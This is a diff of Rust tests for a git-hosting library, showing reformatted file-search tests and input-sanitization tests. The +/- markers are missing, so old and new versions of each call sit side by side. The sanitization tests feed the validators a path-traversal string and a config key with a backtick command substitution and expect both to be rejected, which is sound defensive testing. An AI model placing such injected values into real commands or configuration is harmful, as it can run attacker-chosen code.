strategy: OptimizeStrategy::Incremental as i32,
})
.unwrap();
assert!(resp.ok);
}
#[test]
fn test_search_files_by_content() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.search_files_by_content(SearchFilesByContentRequest {
repository: Some(header(&gb)),
query: "Test".into(),
revision: "main".into(),
max_results: 10,
case_sensitive: true,
}).unwrap();
let resp = gb
.search_files_by_content(SearchFilesByContentRequest {
repository: Some(header(&gb)),
query: "Test".into(),
revision: "main".into(),
max_results: 10,
case_sensitive: true,
})
.unwrap();
assert!(!resp.results.is_empty());
}
#[test]
fn test_search_files_by_content_no_match() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.search_files_by_content(SearchFilesByContentRequest {
repository: Some(header(&gb)),
query: "zzzznonexistentzzzz".into(),
revision: "main".into(),
max_results: 10,
case_sensitive: true,
}).unwrap();
let resp = gb
.search_files_by_content(SearchFilesByContentRequest {
repository: Some(header(&gb)),
query: "zzzznonexistentzzzz".into(),
revision: "main".into(),
max_results: 10,
case_sensitive: true,
})
.unwrap();
assert!(resp.results.is_empty());
}
@@ -495,13 +515,15 @@ fn test_search_files_by_content_empty_query() {
#[test]
fn test_search_files_by_name() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.search_files_by_name(SearchFilesByNameRequest {
repository: Some(header(&gb)),
query: "README".into(),
revision: "main".into(),
max_results: 10,
recursive: true,
}).unwrap();
let resp = gb
.search_files_by_name(SearchFilesByNameRequest {
repository: Some(header(&gb)),
query: "README".into(),
revision: "main".into(),
max_results: 10,
recursive: true,
})
.unwrap();
assert!(!resp.results.is_empty());
assert!(resp.results.iter().any(|r| r.path.contains("README")));
}
@@ -509,12 +531,14 @@ fn test_search_files_by_name() {
#[test]
fn test_search_files_by_name_no_match() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.search_files_by_name(SearchFilesByNameRequest {
repository: Some(header(&gb)),
query: "zzzznonexistentzzzz".into(),
revision: "main".into(),
max_results: 10,
recursive: true,
}).unwrap();
let resp = gb
.search_files_by_name(SearchFilesByNameRequest {
repository: Some(header(&gb)),
query: "zzzznonexistentzzzz".into(),
revision: "main".into(),
max_results: 10,
recursive: true,
})
.unwrap();
assert!(resp.results.is_empty());
}
-6
View File
@@ -2,7 +2,6 @@
use gitks::sanitize::*;
#[test]
fn test_validate_ref_name_accepts_valid_names() {
assert!(validate_ref_name("main").is_ok());
@@ -70,7 +69,6 @@ fn test_validate_ref_name_rejects_too_long() {
assert!(validate_ref_name(&max_valid_name).is_ok());
}
#[test]
fn test_validate_revision_accepts_empty() {
assert!(validate_revision("").is_err());
@@ -149,7 +147,6 @@ fn test_validate_revision_accepts_valid_branch_names() {
assert!(validate_revision("v1.0.0").is_ok());
}
#[test]
fn test_validate_file_path_accepts_valid_paths() {
assert!(validate_file_path("file.txt").is_ok());
@@ -215,7 +212,6 @@ fn test_validate_file_path_rejects_windows_reserved_names() {
assert!(validate_file_path("CON.txt").is_err());
}
#[test]
fn test_validate_relative_path_accepts_valid_paths() {
assert!(validate_relative_path("repo").is_ok());
@@ -242,7 +238,6 @@ fn test_validate_relative_path_rejects_traversal() {
assert!(validate_relative_path("path/..").is_err());
}
#[test]
fn test_validate_config_key_accepts_safe_keys() {
assert!(validate_config_key("user.name").is_ok());
@@ -279,7 +274,6 @@ fn test_validate_config_key_rejects_invalid_chars() {
assert!(validate_config_key("key`command`").is_err());
}
/// Ensure no input causes panic in validate_ref_name.
#[test]
fn fuzz_validate_ref_name_no_panic() {